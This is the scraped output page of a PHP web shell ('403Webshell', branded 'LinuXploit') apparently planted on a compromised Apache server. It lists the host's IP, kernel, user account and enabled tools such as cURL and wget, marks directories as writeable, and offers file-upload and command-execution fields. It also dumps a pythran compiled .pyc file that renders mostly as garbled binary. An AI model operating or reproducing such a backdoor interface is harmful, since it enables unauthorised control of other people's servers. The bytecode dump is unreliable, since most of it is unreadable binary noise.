403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/transformations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/transformations/__pycache__/normalize_compare.cpython-311.pyc
�

cR�a��d�dZddlmZddlmZddlmZddlmZddl	Z
d�ZGd�de��ZdS)	z= NormalizeCompare turns complex compare into function calls. �)�ImportedIds)�Transformation)�path_to_attrNc��	tj|��dS#t$rYnwxYwt|tjtjf��rdSdS)NTF)�ast�literal_eval�
ValueError�
isinstance�Name�	Attribute)�nodes �K/usr/lib/python3/dist-packages/pythran/transformations/normalize_compare.py�is_trivially_copiedrsb��
��������t���
�
�
���
�����$���3�=�1�2�2���t��5s��
%�%c�*�eZdZdZd�Zd�Zd�Zd�ZdS)�NormalizeComparea�
    Turns multiple compare into a function with proper temporaries.

    >>> import gast as ast
    >>> from pythran import passmanager, backend
    >>> node = ast.parse("def foo(a): return 0 < a + 1 < 3")
    >>> pm = passmanager.PassManager("test")
    >>> _, node = pm.apply(NormalizeCompare, node)
    >>> print(pm.dump(backend.Python, node))
    def foo(a):
        return foo_compare0(a)
    def foo_compare0(a):
        $1 = (a + 1)
        if (0 < $1):
            pass
        else:
            return builtins.False
        if ($1 < 3):
            pass
        else:
            return builtins.False
        return builtins.True
    c���t��|_|�|��|j�|j��|xjt
|j��zc_|S�N)�list�compare_functions�
generic_visit�body�extend�update�bool��selfr
s  r�visit_ModulezNormalizeCompare.visit_Module0s[��!%��������4� � � ��	����/�0�0�0����t�D�2�3�3�3�����c�H�|j|_|�|��|Sr)�name�prefixrrs  r�visit_FunctionDefz"NormalizeCompare.visit_FunctionDef7s$���i������4� � � ��rc��|Sr�rs  r�visit_AssertzNormalizeCompare.visit_Assert<s	���rc���|�|��}t|j��dk�rA|�t|��}t|��}d�|D��}d�|jt|j����}tj
tj|tj��dd��|g��}d�|D��}tj
|gdggdg��}g}t|j��r|j}	n}|�tjtjdtj��dd��g|jd����tjdtj��dd��}	t'|j��D�]<\}
}t|��r|}n�|�tjtjd�|
dz��tj��dd��g|d����tjd�|
dz��tj��dd��}tj|	|j|
g|g��}
|�tj|
tj��gtjt3d����g����|}	��>|�tjt3d������tj|||gdd��}t7j|t7j����|j�|��|S|S)	N�c�^�g|]*}tj|tj��dd����+Sr)rr�Load��.0�is  r�
<listcomp>z2NormalizeCompare.visit_Compare.<locals>.<listcomp>Is>��2�2�2� ��8�A�s�x�z�z�4��>�>�2�2�2rz{0}_compare{1}c�^�g|]*}tj|tj��dd����+Sr)rr�Paramr*s  rr-z2NormalizeCompare.visit_Compare.<locals>.<listcomp>Ws>��0�0�0����!�S�Y�[�[�$��=�=�0�0�0rz$0z${})�builtins�False)r0�True)r�len�ops�gatherr�sorted�formatr!rr�Callrr)�	argumentsr�left�append�Assign�Store�	enumerate�comparators�Compare�If�Pass�Returnr�FunctionDef�metadata�add�Local)rr
�imported_ids�binded_args�forged_name�call�	arg_names�argsr�prev_holderr,�exp�holder�cond�forged_fdefs               r�
visit_ComparezNormalizeCompare.visit_CompareAsE���!�!�$�'�'���t�x�=�=�1��� �;�;�{�D�9�9�L�!�,�/�/�L�2�2�$0�2�2�2�K�+�1�1�$�+�25�d�6L�2M�2M�O�O�K��8����c�h�j�j�$��=�=�����D�0�0�".�0�0�0�I��=��B��b�"�d�B�G�G�D��D�"�4�9�-�-�
E�"�i�������J���$��	���T�4�@�@�A��	�4�)�)�*�*�*�"�h�t�S�X�Z�Z��t�D�D��#�D�$4�5�5�
%�
%���3�&�s�+�+�2� �F�F��K�K��
�C�H�U�\�\�!�A�#�5F�5F�58�Y�[�[�$��-N�-N�,O�+.��!6�!6�7�7�7�!�X�e�l�l�1�Q�3�&7�&7�����&*�D�2�2�F��{�;�$(�H�Q�K�=�$*�8�-�-������F�4��H�J�J�<��J�|�4I�'J�'J�K�K�L�N�N�O�O�O�%����K�K��
�<�0D�#E�#E�F�F�G�G�G��/�+�t�T�2�t�*.�0�0�K��L��h�n�&6�&6�7�7�7��"�)�)�+�6�6�6��K��KrN)�__name__�
__module__�__qualname__�__doc__rr"r%rSr$rrrrs_��������0������
���
@�@�@�@�@rr)
rW�pythran.analysesr�pythran.passmanagerr�
pythran.utilsr�pythran.metadatarE�gastrrrr$rr�<module>r]s���C�C�(�(�(�(�(�(�.�.�.�.�.�.�&�&�&�&�&�&�#�#�#�#�#�#��������j�j�j�j�j�~�j�j�j�j�jr

Youez - 2016 - github.com/yon3zu
LinuXploit